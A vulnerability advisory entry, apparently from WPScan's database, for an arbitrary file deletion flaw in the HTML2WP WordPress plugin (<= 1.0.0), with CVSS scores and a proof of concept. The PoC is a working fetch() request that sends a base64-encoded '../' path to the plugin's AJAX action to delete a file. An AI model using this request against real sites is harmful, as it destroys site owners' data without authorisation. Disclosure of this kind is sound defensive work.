Lucene search

K
wpvulndbDaniel RufWPVDB-ID:9AFD1805-D449-4551-986A-F92CB47C95C5
HistoryJun 02, 2022 - 12:00 a.m.

HTML2WP <= 1.0.0 - Subscriber+ Arbitrary File Deletion

2022-06-0200:00:00
Daniel Ruf
wpscan.com
4

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

5.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:N/I:P/A:P

The plugin does not have authorisation and CSRF checks in an AJAX action, available to any authenticated users such as subscriber, which could allow them to delete arbitrary file

PoC

To delete the license.txt at the root of the blog: await fetch(“https://example.com/wp-admin/admin-ajax.php?action=html_actions”, { “credentials”: “include”, “headers”: { “User-Agent”: “Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0”, “Accept”: “text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8”, “Accept-Language”: “de,en;q=0.7,en-US;q=0.3”, “Content-Type”: “application/x-www-form-urlencoded”, “Upgrade-Insecure-Requests”: “1”, “Sec-Fetch-Dest”: “document”, “Sec-Fetch-Mode”: “navigate”, “Sec-Fetch-Site”: “same-origin”, “Sec-Fetch-User”: “?1” }, “body”: “type=remove_html&path;=Li4vbGljZW5zZS50eHQ=”, “method”: “POST”, “mode”: “cors” });

CPENameOperatorVersion
html2wpeq*

8.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H

5.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:N/I:P/A:P

Related for WPVDB-ID:9AFD1805-D449-4551-986A-F92CB47C95C5